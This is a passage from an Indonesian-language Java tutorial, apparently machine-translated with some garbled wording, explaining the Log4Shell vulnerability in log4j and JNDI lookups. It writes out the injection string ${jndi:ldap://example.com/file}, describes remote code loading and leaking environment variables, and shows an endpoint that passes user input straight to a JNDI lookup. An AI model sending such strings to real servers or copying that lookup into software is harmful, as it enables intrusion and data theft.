7.1 Skandal

Dan tentu saja, tidak mungkin untuk tidak menceritakan kisah yang terjadi baru-baru ini - di penghujung tahun 2021.

Log4Shell

Badan Keamanan Siber dan Perlindungan Infrastruktur AS (CISA) mengatakan masalahnya Log4Shelladalah salah satu kerentanan paling serius dalam sejarah. Ya, kita berbicara tentang perpustakaan favorit kita log4j.

Perpustakaan kecil kami yang nyaman log4j dan kerentanan terbesar dalam sejarah ? Penasaran? Lalu dengarkan.

7.2 Skala bencana

Penemuan kerentanan kritis Log4Shell(kode CVE-2021-44228) diumumkan pada 9 Desember 2021 oleh pakar keamanan Lunasec. Pakar dari komunitas Java Tim Keamanan Apache telah memverifikasi informasi ini dan menerbitkan daftar perpustakaan Java yang rentan. Daftarnya sangat besar.

Jika proyek Java menggunakan library log4j, maka itu bisa diretas dengan cukup mudah. Dan mengingat hampir semua perangkat lunak server ditulis dalam java logger Javapaling log4jpopuler, menurut pakar keamanan, kerentanan tersebut memengaruhi 93% lingkungan cloud perusahaan. Termasuk orang-orang seperti Amazon AWS, Microsoft Azure, Google Cloud, Cloudflare, iCloud, Minecraft, Steam, dan banyak lagi

Selain itu, kerentanan tidak hanya memengaruhi perangkat lunak server, tetapi juga banyak aplikasi Java, serta produsen perangkat keras. Misalnya, Intel menerbitkan daftar 32 program yang dapat diretas: SDK, sistem pemeliharaan server, alat Linux.

Nvidia juga memposting laporan masalah keamanan yang menyebutkan server DGX dan alat NetQ. Sejumlah pembaruan segera dirilis oleh Apple dan Microsoft.

Secara kasar, satu baris di bilah alamat browser siswa menempatkan server jika baris ini dimakan oleh pencatat (di banyak server, semuanya dicatat HTTP-requests).

Setelah menganalisis kodenya, ternyata kerentanan tersebut telah ada di perpustakaan sejak 2013, tetapi mereka baru menyadarinya sekarang. Dan ketika mereka mulai menggali lebih dalam, mereka menemukan sebuah jurang, yang dasarnya tidak terlihat sama sekali.

7.3 Kerentanan paling serius dalam sejarah

Kembali pada Desember 2021, Badan Keamanan Siber dan Perlindungan Infrastruktur AS (CISA) menyatakan bahwa Log4Shellini adalah salah satu kerentanan paling serius dalam sejarah .

Banyak pakar lain mengungkapkan pendapat serupa . Semua orang tahu tentang kerentanan ini, dan peretas dari segala usia sudah menggunakannya untuk mencuri data pribadi dan jenis serangan lain di berbagai organisasi. Di masa mendatang, kami sedang menunggu gelombang peretasan besar-besaran dan kebocoran data.

Skala bencana dapat diukur bahkan dengan fakta bahwa ada situs terpisah dengan meme tentang Log4j , dan setiap hari ada gambar baru.

Masalah ini sudah lama bersama kami. Sebuah lubang keamanan dalam jutaan bahkan ratusan juta sistem komputer. Semua perangkat lunak lama perlu diperbarui dan setidaknya mengganti perpustakaan ini di sana. Tetapi dalam banyak kasus, tidak ada yang tahu perpustakaan mana dan versi mana yang digunakan dalam perangkat lunak mereka.

Secara umum, kami mengharapkan kenaikan tajam dalam gaji spesialis keamanan komputer.

7.4 Sifat kerentanan

Untuk memahami inti dari kerentanan, Anda perlu memahami seberapa besar sistem server diatur. Seringkali aplikasi server seperti itu dipecah menjadi layanan berbeda yang terletak di server berbeda. Dan layanan JNDI membantu mereka berinteraksi.

Java Naming and Directory Interface (JNDI) adalah Java APIuntuk mencari objek/layanan berdasarkan nama. Objek-objek ini dapat disimpan dalam berbagai layanan penamaan atau direktori seperti Remote Method Invocation (RMI), Common Object Request Broker Architecture (CORBA), Lightweight Directory Access Protocol (LDAP), atau Domain Name Service (DNS).

Bekerja dengannya sangat sederhana - ini sederhana Java APIyang hanya membutuhkan satu parameter string - nama layanan. Dengannya, Anda dapat menghubungi layanan apa pun dan memintanya melakukan sesuatu dan / atau mengirim beberapa data. Misalnya, string ${jndi:ldap://example.com/file}akan memuat data dari ini URLyang ditentukan dalam string.

Jika parameter berasal dari sumber yang tidak tepercaya, ini dapat menyebabkan pemuatan kelas jarak jauh dan eksekusi kode pihak ketiga . Apa yang terjadi pada kasus Log4j. Penyerang hanya mengarahkan aplikasi Java korban ke yang jahat rmi/ldap/corba-serverdan menerima objek jahat sebagai tanggapan.

Secara teknis, masalahnya di sini bukan pada log4jperpustakaan itu sendiri, tetapi pada pengaturan keamanan saat bekerja dengan JNDI-service. Anda selalu perlu memeriksa jenis string yang kami berikan InitialContext.lookup().

Contoh rentan JNDI-applications:


@RequestMapping("/lookup")
@Example(uri = {"/lookup?name=java:comp/env"})
public Object lookup(@RequestParam String name) throws Exception{
   return new javax.naming.InitialContext().lookup(name);
}

7.5 Perpustakaan terlalu pintar

Dan di mana log4jAnda bertanya? Masalahnya adalah pengembangnya ingin membuatnya senyaman mungkin dan menambahkan smart logging ke dalamnya. Begini cara kerjanya:

Semuanya dimulai dengan fakta bahwa pesan log memungkinkan Anda menyetel templat tempat data diganti, misalnya:


log.debug(“User {user} has {count} friends”, user, count);

Versi lama tanpa penggantian data terlihat seperti ini:


log.debug( “User “+user +” has “+ count +” friends”);

Pada tahun 2013, substitusi prefiks cerdas yang ditentukan oleh template tampilan juga ditambahkan ke pustaka ${prefix:name}. Misalnya, string “${java:version}”akan diubah menjadi «Java version 1.7.0_67». Oh betapa nyamannya.

Di antara ekspresi yang dikenali adalah ${jndi:<lookup>}di mana setelah protokol jndi Anda dapat menentukan pencarian melalui LDAP: arbitrer URL-addressdapat ditanyakan dan dimuat sebagai data objek Java.

Ini adalah masalah standar dari keseluruhan pendekatan JDK: ini secara otomatis melakukan deserialisasi objek, tautan yang dapat diatur dalam bentuk url. Dalam hal ini, tidak hanya data objek yang dimuat dari sumber daya jarak jauh, tetapi juga kode kelasnya.

Peretasan terlihat seperti ini:

  • Mengunduh file dengan kode berbahaya
  • File berisi serial Java an object(dan kelasnya)
  • Kelas sedang memuatJava-machine
  • Objek kelas berbahaya dibuat
  • Konstruktor objek dipanggil
  • Baik konstruktor dan inisialisasi statis memungkinkan kode kelas berbahaya dieksekusi

log4jJika ada sesuatu seperti di baris yang sedang dicatat ${jndi:ldap://example.com/file}, maka log4jitu akan mengunduh data dari ini URL-addresssaat terhubung ke Internet . Dengan memasukkan string yang dicatat, penyerang dapat mengunduh dan menjalankan kode berbahaya yang dihosting di publik URL-address.

Bahkan jika eksekusi data dinonaktifkan, penyerang dapat memperoleh data, seperti variabel lingkungan rahasia, dengan menempatkannya di URL-address, yang akan menggantikannya dan mengirimkannya ke server penyerang.

Kabar baiknya adalah masalah itu dengan cepat diperbaiki di perpustakaan .

Berita buruknya adalah jutaan server di seluruh dunia masih menjalankan versi lama perpustakaan ini ...